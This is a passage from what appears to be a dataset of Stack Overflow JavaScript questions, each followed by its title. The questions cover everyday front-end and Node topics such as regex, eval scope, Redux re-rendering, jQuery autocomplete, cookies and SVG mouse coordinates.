disk using fs , but it 's my understanding that doing things through process.env permits this stuff to interact with environment variables , which is a pretty great way to handle configuration across different environments.Ideally , I would like : Is there a better way ? A well-tested module out there ? A cool pattern ? Any help is appreciated . { `` name '' : `` who-rules-app '' , `` config '' : { `` foo '' : `` bar '' , `` words '' : [ `` tpr '' , `` rules '' ] } , `` scripts '' : { `` start '' : `` node src/index.js '' } } process.env [ 'npm_package_config_foo ' ] // > `` bar '' process.env [ 'npm_package_config_words_0 ' ] // > `` tpr '' process.env [ 'npm_package_config_words_1 ' ] // > `` rules '' process.env [ 'npm_package_config_words ' ] // > [ `` tpr '' , `` rules '' ]",Is there a better way to access array data in package.json "JS : i 'm using the following function to highlight certain word and it works fine in englishbut it dose not for Arabic textso how to modify the regex to match Arabic words also Arabic words with tashkel , where tashkel is a characters added between the original characters example : '' محمد '' this without tashkel '' مُحَمَّدُ '' with tashkel the tashkel the decoration of the word and these little marks are characters function highlight ( str , toBeHighlightedWord ) { toBeHighlightedWord= '' ( \\b '' + toBeHighlightedWord.replace ( / ( [ { } ( ) [ \ ] \\. ? *+^ $ |= ! : ~- ] ) /g , `` \\ $ 1 '' ) + `` \\b ) '' ; var r = new RegExp ( toBeHighlightedWord , '' igm '' ) ; str = str.replace ( / ( > [ ^ < ] + < ) /igm , function ( a ) { return a.replace ( r , '' < span color='red ' class='hl ' > $ 1 < /span > '' ) ; } ) ; return str ; }",how to match arabic word with `` tashkel '' ? "JS : There are a lot of mentions on differentes readings that arrays are a special class of object in Javascript . For example here : https : //www.codingame.com/playgrounds/6181/javascript-arrays -- -tips-tricks-and-examplesSo , and since an object is a collection of properties ( or keys ) and values , I was thinking if there is a way to start with an object and ends with an array ( in the sense that the method Array.isArray ( ) returns true for that object emulating an array ) . I have started looking at the arrays properties : So I tried to emulate the same using an object : But Array.isArray ( arrEmulation ) still returns false . First , I want to apologize if this is an stupid question , but is there any way I can manually convert an object to array adding special properties ( or keys ) to it ? Please , note I do n't want to know how to convert object to array , I just want to understand which are those special things that make possible to interpret an object like an array . let arr = [ 0 , 1 , 2 , 3 , 4 , 5 ] ; console.log ( Object.getOwnPropertyNames ( arr ) ) ; console.log ( Array.isArray ( arr ) ) ; let arrEmulation = { 0:0 , 1:1 , 2:2 , 3:3 , 4:4 , 5:5 , `` length '' :6 } ; console.log ( Object.getOwnPropertyNames ( arrEmulation ) ) ; console.log ( Array.isArray ( arrEmulation ) ) ;",Is there any way to turn an existing Javascript object into an array without creating a new separate array ? "JS : I was going through a website I 've taken over and came across this section in one of the pages : Apparently anyone who has ever used the site without javascript would not be able to log out properly ( surprisingly enough , this has never come up ) .So the first thing that comes to mind isThen I realized I do n't know why I 'm keeping the javascript call around at all . I 'm just a little confused as to why it would have been written like that in the first place when a regular link would have worked just fine . What benefit does window.location have over just a regular link ? This is also the only place in the website I 've seen something like this done ( so far ) .Edit : The programmer before me was highly competent , which is actually why I was wondering if there was something I was n't taking into account or if he just made a simple oversight . < a href= '' javascript : window.location= ' < % =GetSignOutUrl ( ) % > ' ; '' > // img < /a > < a href= '' < % =GetSignOutUrl ( ) '' onclick= '' javascript : window.location= ' < % =GetSignOutUrl ( ) % > ' ; '' > // img < /a >",Why use window.location in a hyperlink ? "JS : I am very new to js , now i have a json data which was passed by backend to my js file . The json data is like the following : the json data i get is by the following code : Next I will process the data to present at the front-end , but i do n't know how to assign the Data to two different argument : Here is what i tried to do , i used if-is the key to separate the data from the original one , but it dose n't work { Vivo : { Time : [ 20190610,20190611 ] , Price : [ 2000,2000 ] } , Huawei : { Time : [ 20190610,20190611 ] , Price : [ 3000,3000 ] } , Maxvalue:3000 } fetch ( '/Tmall ' ) //Tmall is the url i go to fetch data.then ( function ( response ) { return response.json ( ) ; } ) .then ( function ( Data ) { ... } Cellphone = { Vivo : { Time : [ 20190610,20190611 ] , Price : [ 2000,2000 ] } , Huawei : { Time : [ 20190610,20190611 ] , Price : [ 3000,3000 ] } } Max = { Maxvalue:3000 } var Cellphone = { } for ( var i = 0 ; i < Data.length ; i++ ) { if ( Data.key [ i ] ! = 'Maxvalue ' ) { Cellphone.push ( Data [ i ] ) } }",How to separate a json data in javascript JS : What is the difference between and $ ( function ( ) { // bind some event listeners } ) ; $ ( function ( ) { // bind some event listeners } ( ) ) ;,Self Invoking Function as jQuery ducument ready callback "JS : I 'm new to JavaScript so this is possibly a trivial question : I 'm trying to construct an object that stores a mapping from a set of integers to some of its methods , i.e . something like this : I 'd then like to be able to call methods of Foo like this : But this results in : Can not set property 'prop ' of undefined , i.e . this does not refer to foo.What 's the problem here and is there a better way to implement this ? 'use strict ' ; function Foo ( ) { this.funcs = { 1 : this.func1 , 2 : this.func2 , } } Foo.prototype.func1 = function ( ) { this.prop = 1 ; } Foo.prototype.func2 = function ( ) { this.prop = 2 ; } foo = new Foo ( ) ; var func = foo.funcs [ 1 ] ; func ( ) ;",JavaScript : Access 'this ' when calling function stored in variable "JS : Here is an HTML formHere is the relevant code of the JavaScript function that is calledHere is the CSS that is supposed to make the text in the < span > tag appear in red and shake . It does appear in red , it does not shake.I 've been trying to follow this question to no avail . I would like this to work in FireFox . Can any one give me any pointers as to what I 'm doing wrong and why the text `` wrong username/password '' wo n't shake ? As per MarZab 's suggestion I tried and it still does n't shake . < form method= '' post '' action= '' camount.php '' id= '' loginForm '' > < span id= '' heading '' > Username : < input type= '' text '' name='us ' id='us'/ > < br / > Password : < input type= '' password '' name='pa ' id='pa'/ > < br / > < /span > < input type= '' button '' value= '' Sign in '' onclick= '' isPasswordCorrect ( document.getElementById ( 'us ' ) , document.getElementById ( 'pa ' ) ) '' / > < br / > < span class= '' animated shake '' id= '' report '' > < /span > < /form > if ( xmlhttp.readyState == 4 & & xmlhttp.status == 200 ) { if ( xmlhttp.responseText ) document.getElementById ( `` loginForm '' ) .submit ( ) else { document.getElementById ( `` report '' ) .style.webkitAnimationName = `` '' ; setTimeout ( function ( ) { document.getElementById ( `` report '' ) .style.webkitAnimationName= '' animated shake '' ; } , 0 ) ; var element = document.getElementById ( 'report ' ) ; element.innerHTML = `` wrong password/username '' password.value = `` '' } } xmlhttp.open ( `` post '' , `` CheckCred.php '' , true ) //required for sending data through POSTxmlhttp.setRequestHeader ( `` Content-type '' , `` application/x-www-form-urlencoded '' ) xmlhttp.send ( `` name= '' +encodeURIComponent ( name.value ) + `` & password= '' +encodeURIComponent ( password.value ) ) .animated { -webkit-animation-fill-mode : both ; -moz-animation-fill-mode : both ; -ms-animation-fill-mode : both ; -o-animation-fill-mode : both ; animation-fill-mode : both ; -webkit-animation-duration:1s ; -moz-animation-duration:1s ; -ms-animation-duration:1s ; -o-animation-duration:1s ; animation-duration:1s ; } .animated.hinge { -webkit-animation-duration:2s ; -moz-animation-duration:2s ; -ms-animation-duration:2s ; -o-animation-duration:2s ; animation-duration:2s ; } @ -webkit-keyframes shake { 0 % , 100 % { -webkit-transform : translateX ( 0 ) ; } 10 % , 30 % , 50 % , 70 % , 90 % { -webkit-transform : translateX ( -10px ) ; } 20 % , 40 % , 60 % , 80 % { -webkit-transform : translateX ( 10px ) ; } } @ -moz-keyframes shake { 0 % , 100 % { -moz-transform : translateX ( 0 ) ; } 10 % , 30 % , 50 % , 70 % , 90 % { -moz-transform : translateX ( -10px ) ; } 20 % , 40 % , 60 % , 80 % { -moz-transform : translateX ( 10px ) ; } } @ -o-keyframes shake { 0 % , 100 % { -o-transform : translateX ( 0 ) ; } 10 % , 30 % , 50 % , 70 % , 90 % { -o-transform : translateX ( -10px ) ; } 20 % , 40 % , 60 % , 80 % { -o-transform : translateX ( 10px ) ; } } @ keyframes shake { 0 % , 100 % { transform : translateX ( 0 ) ; } 10 % , 30 % , 50 % , 70 % , 90 % { transform : translateX ( -10px ) ; } 20 % , 40 % , 60 % , 80 % { transform : translateX ( 10px ) ; } } .shake { -webkit-animation-name : shake ; -moz-animation-name : shake ; -o-animation-name : shake ; animation-name : shake ; } span # report { display : block ; color : # F80000 ; } document.getElementById ( `` report '' ) .style.webkitAnimationName = `` '' ; setTimeout ( function ( ) { document.getElementById ( `` report '' ) .style.webkitAnimationName = `` '' ; document.getElementById ( `` report '' ) .style.webkitAnimationName = `` animated shake '' ; } , 4 ) ;",Trouble re-triggering CSS 3 animation after Ajax response "JS : Please consider the two snippets of code ( the first prints `` Local eval '' , the second prints `` Global eval '' ) : and It turns out that even though globalEval === eval evaluates to true , globalEval and eval behave differently because they have different names . ( An eval can only be local if it is precisely written eval . ) How can I distinguish to two evals ? Is there are a way to extract variable labels to infer behaviour ? ( function f ( ) { var x ; try { eval ( `` x '' ) ; console.log ( 'Local eval ' ) ; } catch ( e ) { console.log ( 'Global eval ' ) ; } } ( ) ) var globalEval = eval ; ( function f ( ) { var x ; try { globalEval ( `` x '' ) ; console.log ( 'Local eval ' ) ; } catch ( e ) { console.log ( 'Global eval ' ) ; } } ( ) )",Distinguishing local eval from global eval "JS : I 'd like to use the expand and compact methods of the jsonld.js library to translate data from various sources into a common format for processing . If I take a source JSON document , add a @ context to it , then pass it through the expand method I 'm able to get the common format that I need.The use case that I have n't been able to find a solution for is when multiple values need to be merged . For example , schema.org defines a PostalAddress with a single field for the streetAddress , but many systems store the street address as separate values ( street number , street name , street direction ... ) . To translate the incoming data to the schema.org format I need a way to indicate in my @ context that multiple fields make up the streetAddress , in the correct order.Compacted DocumentExpanded Document I 've reviewed all of the JSON-LD specs that I could find and have n't been able to locate anything that indicates a way to split or concatenate values using the @ context.Is anyone aware of a way to map multiple values into one context property , in the correct order , and possibly add whitespace between the values . I also need to find a solution for the reverse scenario , where I need to split one field into multiple values , in the correct order . Note : Even if I map all three properties to streetAddress , the values will all be included in the array , but there 's no guarantee they 'll be in the correct order . { `` @ context '' : { `` displaName '' : `` http : //schema.org/name '' , `` website '' : `` http : //schema.org/homepage '' , `` icon '' : `` http : //schema.org/image '' , `` streetNumber '' : `` http : //schema.org/streetAddress '' } , `` displaName '' : `` John Doe '' , `` website '' : `` http : //example.com/ '' , `` icon '' : `` http : //example.com/images/test.png '' , `` streetNumber '' : `` 123 '' , `` streetName '' : `` Main St '' , `` streetDirection '' : `` South '' } { `` http : //schema.org/name '' : [ { `` @ value '' : '' John Doe '' } ] , `` http : //schema.org/image '' : [ { `` @ value '' : '' http : //example.com/images/test.png '' } ] , `` http : //schema.org/streetAddress '' : [ { `` @ value '' : '' 123 '' } ] , `` http : //schema.org/homepage '' : [ { `` @ value '' : '' http : //example.com/ '' } ] }",Define JSON-LD @ context to join/split values ? "JS : In Chrome , try the following in the console . Firstto assign the value 0 to console . Thento check we have correctly overwritten console . Finally , Surprisingly , console now holds the original Console object . In effect , the delete keyword `` resurected '' console , instead of exterminating it ! Is this expected behaviour ? Where is this implemented in the Chromium code ? console = 0 ; console // ( prints ` 0 ` ) delete console",Why does the delete keyword act opposite to expected ? "JS : Hi I am trying to use import.io to scrape some football scores . I managed to get their JS to work with the API and deliver the data . The problem is it must be in a private scope inside the controller as I can not do an ng-repeat on it.Can anyone tell me why , and also if anyone has a good guide on Scope that would probably be more useful . latestScores.controller ( 'ScoresController ' , function ( $ scope ) { $ scope.pots = [ ] ; var io2 = new importio ( `` XXX '' , `` XXXXXX [ API KEY ] XXXXXXXX '' , `` import.io '' ) ; io2.connect ( function ( connected ) { if ( ! connected ) { console.error ( `` Unable to connect '' ) ; return ; } var data ; var callback = function ( finished , message ) { if ( message.type == `` DISCONNECT '' ) { console.error ( `` The query was cancelled as the client was disconnected '' ) ; } if ( message.type == `` MESSAGE '' ) { if ( message.data.hasOwnProperty ( `` errorType '' ) ) { console.error ( `` Got an error ! `` , message.data ) ; } else { data = message.data.results ; } } if ( finished ) { pots = data ; console.log ( pots ) ; /* This gives me an object */ } } io2.query ( { `` connectorGuids '' : [ `` d5796d7e-186d-40a5-9603-95569ef6cbb9 '' ] , } , callback ) ; } ) ; console.log ( $ scope.pots ) ; /* This gives me nothing */ } ) ;",Update AngularJS scope from 3rd party library aynchronous callback "JS : When running the following code on Node.js 4.2.1 : I get the following error : I wonder if it is at all possible to inherit old-style JavaScript `` classes '' from ECMAScript 6 classes ? And , if possible , then how ? 'use strict ' ; var util = require ( 'util ' ) ; class MyClass { constructor ( name ) { this.name = name ; } } function MyDerived ( ) { MyClass.call ( this , 'MyDerived ' ) ; } util.inherits ( MyDerived , MyClass ) ; var d = new MyDerived ( ) ; constructor ( name ) { ^TypeError : Class constructors can not be invoked without 'new '",Is it possible to inherit old-style class from ECMAScript 6 class in JavaScript ? "JS : I am trying to prevent a user from not selecting a jquery autocomplete option . I have following code , which is working but when I submit the form , the 'hidden_applinput_ ' + applid field value is removed . Below is the codeThe problem is in the change event If I remove this the form will post the value . Is there another way to do this ? EDITI am adding some HTML code to help with this . I wish to keep this as simple as possible so please ask if there is more code you would like to see . This is an admin script so I do have to keep some things discreet . I am using Coldfusion along with jQuery . The relative HTML / CFM code is as follows . $ ( function ( ) { try { $ ( `` [ id^=applinput_ ] '' ) .each ( function ( ) { app_id = this.id.split ( `` _ '' ) ; id = app_id [ 1 ] ; $ ( `` # applinput_ '' + id ) .autocomplete ( { source : function ( request , response ) { $ .ajax ( { url : `` cfc/cfc_App.cfc ? method=getMethod & returnformat=json '' , dataType : `` json '' , data : { nameAppSearchString : request.term , maxRows : 25 , style : `` full '' , } , success : function ( data ) { response ( data ) ; } } ) } , select : function ( event , ui ) { //separate id and checkbox app_selid = this.id.split ( `` _ '' ) ; //separate id applid = app_selid [ 1 ] ; $ ( this ) .val ( ui.item.label ) ; $ ( ' # hidden_applinput_ ' + applid ) .val ( ui.item.value ) ; $ ( ' # typeinput_ ' + applid ) .val ( ui.item.type ) ; $ ( ' # hidden_typeinput_ ' + applid ) .val ( ui.item.typeID ) ; return false ; } , change : function ( event , ui ) { if ( ! ui.item ) { this.value = `` ; $ ( ' # hidden_applinput_ ' + applid ) .val ( `` ) ; } else { // return your label here } } , } ) } ) .data ( `` autocomplete '' ) ._renderItem = function ( ul , item ) { return $ ( `` < li > < /li > '' ) .data ( `` item.autocomplete '' , item ) .append ( ' < a onmouseover= $ ( `` # span ' + item.value + ' '' ) .show ( ) ; onmouseout= $ ( `` # span ' + item.value + ' '' ) .hide ( ) ; > < span style= '' float : left ; '' > ' + item.label + ' < /span > < span id= '' span ' + item.value + ' '' style= '' float : right ; height : inherit ; font-size : 13px ; font-weight : bold ; padding-top : 0.3em ; padding-right : 0.4em ; padding-bottom : 0.3em ; padding-left : 0.4em ; display : none ; cursor : pointer ; `` onclick=javascript : event.stopPropagation ( ) ; showprofile ( `` ' + item.value + ' '' ) ; > < ! -- -view profile -- - > < /span > < div style= '' clear : both ; height : auto ; '' > < /div > < /a > ' ) .appendTo ( ul ) ; } ; } catch ( exception ) { } } ) ; $ ( ' # hidden_applinput_ ' + applid ) .val ( `` ) ; < cfquery name= '' qApp2 '' > SELECT *FROM AppTypeWHERE ( AppTypeID NOT IN ( < cfqueryparam cfsqltype= '' cf_sql_varchar '' value= '' # Applist # '' list= '' yes '' > ) ) ORDER BY AppOrder < /CFQUERY > < cfset index = 1 > < cfloop query= '' qApp2 '' > < ! -- - App Query -- - > < cfquery name= '' qMasterApp '' > SELECT * FROM App WHERE AppType = < cfqueryparam value= '' # AppTypeID # '' cfsqltype= '' cf_sql_varchar '' > < /cfquery > < h3 id= '' header_ # index # '' > inactive - # AppType # < /h3 > < div > < p > < ! -- -- Serial Number -- - > < div class= '' ctrlHolder '' id= '' serial_ # index # '' > < label for= '' '' class= '' serial '' style= '' display : none '' > < em > * < /em > Serial Number < /label > < cfinput type= '' text '' name= '' app_ # AppTypeID # _ser '' data-default-value= '' Enter Serial Number or Value '' size= '' 35 '' class= '' textInput '' id= '' serialinput_ # index # '' value= '' '' disabled / > < ! -- - < cfinput name= '' app_ # AppTypeID # _IDd '' type= '' hidden '' id= '' hserialinput_ # index # '' value= '' '' disabled / > -- - > < p class= '' formHint '' > field is required < /p > < /div > < ! -- - App -- - > < div class= '' ctrlHolder '' id= '' appl_ # index # '' > < label for= '' '' style= '' display : none '' > < em > * < /em > App < /label > < cfinput name= '' app_ # AppTypeID # _app '' data-default-value= '' App '' class= '' textInput AppSearch '' id= '' applinput_ # index # '' value= '' '' disabled > < cfinput name= '' app_ # AppTypeID # _IDd '' type= '' hidden '' class= '' hidden_AppSearch '' id= '' hidden_applinput_ # index # '' value= '' '' / > < p class= '' formHint '' > App is required < /p > < /div > < ! -- - active -- - > < div class= '' ctrlHolder '' id= '' color_select '' > < ul class= '' list '' > < li > < label for= '' agreement '' > < input type= '' checkbox '' id= '' checkbox2_ # index # '' name= '' app_ # AppTypeID # _chk '' style= '' width:50px '' > active < /label > < /li > < li > < a class= '' dig3 '' > [ add an App ] < /a > < /li > < /ul > < /div > < /p > < /div > < cfset index = index + 1 > < cfset Applist = ListAppend ( Applist , AppTypeID ) > < /cfloop >",Clear form field on change functionality removes form post value "JS : please check the following two images : The logic I want to achieve is the following : We have a web portal in which a user can simulate another user . Now when the user ends his session and starts the browser again , the simulation should be stopped and the user logged out.To achieve that I set two cookies on login , one cookie with an expiry date of +99 days and another cookie without the expires attribute.In IE11 the expires column is completely empty , I do n't know why . But still when I close the window and end the session , the cookie is still present and my logic does n't work.The cookies are set like this : The self.globalfunctions is just a class holding some functions which are shared throughout the application.Does anyone know what I can do differently or where I 'm doing something wrong ? checkSimulationCookieAndLogOut ( ) { // Checks for cookie if a user is simulated and logs out let self = this ; let sessionCookie = self.globalFunctions.getCookie ( 'user-is-simulated-session-cookie ' ) ; let userSimulationCookie = self.globalFunctions.getCookie ( 'user-is-simulated ' ) ; if ( ! sessionCookie & & userSimulationCookie ) { //self.globalFunctions.automaticLogoutAndRedirect ( ) ; self.globalFunctions.deleteCookie ( 'user-is-simulated ' ) ; console.log ( 'test ' ) ; } } setCookie ( name , value , days ) { var expires = `` '' ; if ( days ) { var date = new Date ( ) ; date.setTime ( date.getTime ( ) + ( days*24*60*60*1000 ) ) ; expires = `` ; expires= '' + date.toUTCString ( ) ; } document.cookie = name + `` = '' + ( value || `` '' ) + expires + `` ; path=/ '' ; } self.globalFunctions.setCookie ( 'user-is-simulated-session-cookie ' , 'true ' ) ; self.globalFunctions.setCookie ( 'user-is-simulated ' , 'true ' , 99 ) ;",Session Cookie has wrong behaviour in IE11 ? "JS : This is my array of objectsThe result should be like thisSo I want to get rid of the sub array in property key3 and get the new equivalent structure , copying all the other properties.For reasons I can not change I am supposed to use lodash , but only in version 2.4.2EDIT : To be more elaborate : I am using a JSON based form engine which allows to use existing functions ( like lodash functions ) but does n't allow to define new functions . I also can not use control structures like for loops . Essentially I can only use chained basic function calls including lodash.I tried to use map , but map can not extend an array , it can only convert one array element into something differentIs there any lodash magic I can use here ? EDIT2 : Here is an example about what I mean when I say `` I can not introduce new functions '' . It will check if an array of objects is unique regarding a certain subset of properties [ { `` key1 '' : `` value1 '' , `` key2 '' : `` value2 '' , `` key3 '' : [ `` value3 '' , `` value4 '' ] } ] [ { `` key1 '' : `` value1 '' , `` key2 '' : `` value2 '' , `` key3 '' : `` value3 '' } , { `` key1 '' : `` value1 '' , `` key2 '' : `` value2 '' , `` key3 '' : `` value4 '' } ] model = [ { `` key1 '' : `` value1 '' , `` key2 '' : `` value2 '' , `` key3 '' : `` valuex '' } , { `` key1 '' : `` value1 '' , `` key2 '' : `` value2 '' , `` key3 '' : `` valuey '' } ] // will give false because the two objects are not unique regarding the combination of `` key1 '' and `` key2 '' _.uniq ( model.map ( _.partialRight ( _.pick , [ `` key1 '' , `` key2 '' ] ) ) .map ( JSON.stringify ) ) .length === model.length",How to `` expand '' sub array in array of objects "JS : I 'm creating a React/Redux front-end for a multi-channel chat app . I 'm having problems getting some React components to re-render after state change while using redux , react-redux , and redux-thunk.I believe that my reducers are non-mutating , and that I 'm subscribed via react-redux 's connect . When I run the app and view the browser console , I see the initial render of the component ( i.e . with initial , empty state ) , then the state change ( triggered by an action dispatch in index.js ) ... . I would then expect the component to re-render with new props , but it does n't happen.I 've put up a repo here : https : //github.com/mattmoss/react-redux-no-updatenode_modules is not in the repo , so to run , first download dependencies ( running yarn is sufficient ) , then npm start.Some excerpts ( see full source in repo ) : reducers/channelList.jsactions/channelActions.jscomponents/ChannelListView.jscontainers/ChannelList.jsApp.jsindex.jsstore/configureStore.js import * as c from '../actions/constants ' ; export default function channelList ( state = [ ] , action ) { switch ( action.type ) { case c.FETCH_CHANNELS_SUCCESS : return action.channels ; default : return state ; } } export function fetchChannels ( ) { return ( dispatch ) = > { return ChannelApi.allChannels ( ) .then ( channels = > dispatch ( fetchChannelsSuccess ( channels ) ) ) .catch ( error = > { throw ( error ) ; } ) ; } ; } export function fetchChannelsSuccess ( channels ) { return { type : c.FETCH_CHANNELS_SUCCESS , channels } ; } class ChannelListView extends React.Component { render ( ) { const { channels , current , onSelect } = this.props ; console.log ( `` channels : '' , channels , `` current : '' , current ) ; return ( < ListGroup > { channels.map ( channel = > < ListGroupItem key= { channel.id } active= { channel.id === this.props.current } onClick= { onSelect ( channel.id ) } > < strong > # { channel.name } < /strong > < /ListGroupItem > ) } < /ListGroup > ) ; } } export default ChannelListView ; import ChannelListView from '../components/ChannelListView ' ; const mapStateToProps = ( state , ownProps ) = > { return { channels : state.channelList , current : state.currentChannel } ; } ; const mapDispatchToProps = ( dispatch ) = > { return { onSelect : ( id ) = > ( ) = > { } } ; } ; export default connect ( mapStateToProps , mapDispatchToProps ) ( ChannelListView ) ; class App extends Component { render ( ) { return ( < Grid > < Row > < Col > < h1 > Channels < /h1 > < ChannelList / > < /Col > < /Row > < /Grid > ) ; } } const store = configureStore ( ) ; store.dispatch ( fetchChannels ( ) ) ; ReactDOM.render ( < Provider store= { configureStore ( ) } > < App / > < /Provider > , document.getElementById ( 'root ' ) ) ; import { createStore , applyMiddleware } from 'redux ' ; import rootReducer from '../reducers/rootReducer ' ; import thunk from 'redux-thunk ' ; import logger from 'redux-logger ' ; export default function configureStore ( ) { return createStore ( rootReducer , applyMiddleware ( thunk , logger ) ) ; }","react component connected , redux state changes ... but no update to component ?" "JS : We are having an issue where when we open a modal window we are trying to set the focus to the first input element in the modal that is not of type hidden . here is what we are trying : However , this call works : The input field has an id of loginInput . Any thoughts ? $ ( `` # test-overlay input [ type ! =hidden ] : first '' ) .focus ( ) ; $ ( `` # test-overlay # loginInput '' ) .focus ( ) ;",jquery .focus not working for input : first "JS : In the Protractor reference configuration , there is the untrackOutstandingTimeouts setting mentioned : I 've never seen anyone changing the setting . What is the practical usage of the setting ? When should I set it to true ? // Protractor will track outstanding $ timeouts by default , and report them in // the error message if Protractor fails to synchronize with Angular in time . // In order to do this Protractor needs to decorate $ timeout . // CAUTION : If your app decorates $ timeout , you must turn on this flag . This // is false by default.untrackOutstandingTimeouts : false ,",What is untrackOutstandingTimeouts setting for in Protractor ? "JS : I 'm working on a project on data mapping . Several checks are realized : well imported filetable choicecolumns choice of the tabletypage of dataI 'm for at the part of the choice of columns for the moment . I 'm stocking these various choices in an array . The problem is that if I want to delete one choice in my array , all data are deleted ! I 'm using this plugin : http : //wenzhixin.net.cn/p/multiple-select/docs/ var choiceFields = [ ] ; $ ( ' # selectFields ' ) .multipleSelect ( { filter : true , onClick : function ( view ) { choiceFields.push ( view.value ) ; var length = choiceFields.length-1 ; if ( view.checked === false ) { choiceFields.splice ( view.value ) ; } console.log ( choiceFields ) ; } } ) ; < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js '' > < /script > < link href= '' https : //rawgit.com/wenzhixin/multiple-select/master/multiple-select.css '' rel= '' stylesheet '' / > < script src= '' https : //rawgit.com/wenzhixin/multiple-select/master/multiple-select.js '' > < /script > < div class= '' select-box '' > < label for= '' selectFields '' > < span class= '' label-FieldChoice '' > Choice fields < /span > < /label > < select id= '' selectFields '' multiple= '' multiple '' style= '' display : none ; '' > < option value= '' id '' > id < /option > < option value= '' username '' > username < /option > < option value= '' username_canonical '' > username_canonical < /option > < option value= '' email '' > email < /option > < option value= '' email_canonical '' > email_canonical < /option > < option value= '' enabled '' > enabled < /option > < option value= '' salt '' > salt < /option > < option value= '' password '' > password < /option > < option value= '' last_login '' > last_login < /option > < option value= '' confirmation_token '' > confirmation_token < /option > < option value= '' password_requested_at '' > password_requested_at < /option > < option value= '' roles '' > roles < /option > < option value= '' lastName '' > lastName < /option > < option value= '' firstName '' > firstName < /option > < /select > < /div >",Splice data in array "JS : I have an extension removing the downloads made in Google Chrome using this line of code in my background page : When a download is in a normal window it works however when a download has been made in an incognito Chrome window it is not removed . My extension is activated in incognito mode and the background page is able to detect when a download in the incognito page has been completed using : Is there a way to remove the browsing data in incognito windows from a background page ? chrome.browsingData.remove ( { `` since '' : 0 } , { `` downloads '' : true } ) ; chrome.downloads.onChanged.addListener ( function ( download ) { if ( download.state & & download.state.current == `` complete '' ) { // The code here is fired even if the download has been completed in incognito mode } }",Using chrome.browsingData.remove ( ) in incognito mode "JS : I have searched SO and crawled the Mongoose / Mongo documentation but to no avail , therefore my question.I would like to $ inc a value in an object that lies within a nested array OR create $ setOnInsert this object if it 's not there yet.The Mongo document I have looks as follows : Based on this example my use case is to : Increment the count variable inside the array object if it exists ( found based on first and last ) Add an object to the set with score as 1 if it does not exist yetFrom this post I understood that I can not $ set a variable that I would like to $ inc at the same time . Ok - that makes sense.This post helped to understand the positional $ operator in order to find the nested object and increment it.If I know that the document exists , I can simply do the update as follows : But what if I would like to insert the member ( with score : 1 ) if it does n't exist yet ? My problem is that when I use upsert : true the positional operator throws an error since it may not be used with upsert ( see the official documentation ) . I have tried various combinations and would like to avoid 2 db accesses ( read / write ) .Is there a way to do this in ONE operation ? { `` _id '' : `` 123 '' , `` members '' : [ { `` first '' : `` johnny '' , `` last '' : `` knoxville '' , `` score '' : 2 } , { `` first '' : `` johnny '' , `` last '' : `` cash '' , `` score '' : 3 } , // ... and so on ] , } myDoc = { first : 'johnny ' , last : 'cash ' } ; myCollection.findOneAndUpdate ( { _id : '123 ' , 'members.first ' : 'johnny ' , 'members.last ' : 'cash ' } , { $ inc : { `` members. $ .score '' : 1 } } ) ;",MongoDB $ inc and $ setOnInsert for nested array "JS : At mousedown I want to inject a new element in the DOM and start dragging it immediately ( i.e . trigger dragstart ) , without clicking the new element again . I am using d3.js a lot in my project . But I do n't know if I can trigger the dragstart event by using d3 , so I tried using jQuery : But this does n't work . Here is a link to a jsFiddle , where I demonstrate my problem by trying to create a `` pen '' at mousedown , and if the user drags the pen it draws a line . At dragend the pen is removed and the line fades away . But the pen has to be initialized , and then it can be dragged by a new click . This is just for demonstrating the problem.Here is a related question for jQuery , but there are no good answer to it . $ ( `` circle # pen '' ) .trigger ( `` dragstart '' ) ;",Initialize element and start dragging with just one click "JS : I am using drag and drop functionality to allow users to order elements on a page . I have several < ul > elements with < li > elements inside of them ( all < ul > contain 3 < li > elements ) where each unordered list corresponds to a month , soI want to somehow sort all of the lists once .drop ( ) event occurs ( basically users drop item in place after dragging it ) . I 'm changing list positions in dom so they are always ordered there , for example if Item 3 from august is moved between item 1 and item 2 in july it will look like this : Now I need to figure out how to push Item 3 from july down to augusts unordered list and also push down all other items after it . This should have vice versa effects if for example Item 1 from june is draged into july between item 2 and item 3 , in this case everything above it should shift left . Therefore I need to have 3 items in all list at any given time.Here is image further showing it , that hopefully explains it better : ( Consider middle section as initial and than arrows show where item is dragged and what happens to lists before and after it depending on position ) Could this be done without using ids or classes , but relying on next and previous elements ( unordered lists ) , as I do n't know exactly what months follow what in this case.Here is very simple js fiddle with drag and drop behaviour : DEMO < ul class= '' dragable '' id= '' month-june '' > < li > Item 1 < /li > < li > Item 2 < /li > < li > Item 3 < /li > < /ul > < ul class= '' dragable '' id= '' month-july '' > < li > Item 1 < /li > < li > Item 2 < /li > < li > Item 3 < /li > < /ul > < ul class= '' dragable '' id= '' month-august '' > < li > Item 1 < /li > < li > Item 2 < /li > < li > Item 3 < /li > < /ul > < ! -- etc.. -- > < ul class= '' dragable '' id= '' month-july '' > < li > Item 1 < /li > < li > Item 3 < /li > < li > Item 2 < /li > < li > Item 3 < /li > < /ul >",Shift list element order in several < ul > at once if one of < li > changes position "JS : I 'm creating a presentation with RevealJS and would like to incorporate some interactive SVG visualizations created with D3 . I 've done this without difficulty a number of times before but I 'm having some difficulty this time . After a bit of debugging , I 've traced the problem to the following : For some reason , the mouse position relative to an SVG is not reported correctly when the whole thing is wrapped inside RevealJS.My original version of the code used a standard D3 technique to get the mouse position . In an effort to simplify and isolate the problem , though , I eliminated D3 and now use vanilla Javascript to get the mouse position as detailed in this StackOverflow answer . My code ( implemented as a stack-snippet ) looks like so : When I run it inside RevealJS in Firefox on my Mac , though , I get very different numbers - as if the coordinates have been shifted by ( -423 , -321 ) or some other large negative pair of numbers . I 've added a screen shot below to illustrate this . The mouse does n't appear in the screenshot but is near the upper left corner so that it should read something like ( 3,5 ) or some small values like that.I assume that RevealJS is performing some extra transformation on the SVG , but I ca n't find it and I 'm hoping there 's some RevealJS recommended way to deal with this.There is a full working ( well , not actually correctly ) version of the RevealJS version here . It 's pretty much the exact same code as in the stack-snippet above , but wrapped inside a minimal RevealJS template.Looking into this more closely still , the issue appears to happen with Firefox but not with Chrome . I 'm running current versions of those programs on my 1 year old Macbook Pro . I 'd really like some code that works in a wide range of browsers and would certainly want it to run in both Firefox and Chrome . var info = document.getElementById ( `` info '' ) ; var svg = document.getElementById ( `` svg '' ) ; pt = svg.createSVGPoint ( ) ; var cursorPoint = function ( evt ) { pt.x = evt.clientX ; pt.y = evt.clientY ; return pt.matrixTransform ( svg.getScreenCTM ( ) .inverse ( ) ) ; } svg.addEventListener ( 'mousemove ' , function ( evt ) { var loc = cursorPoint ( evt ) ; info.textContent = `` 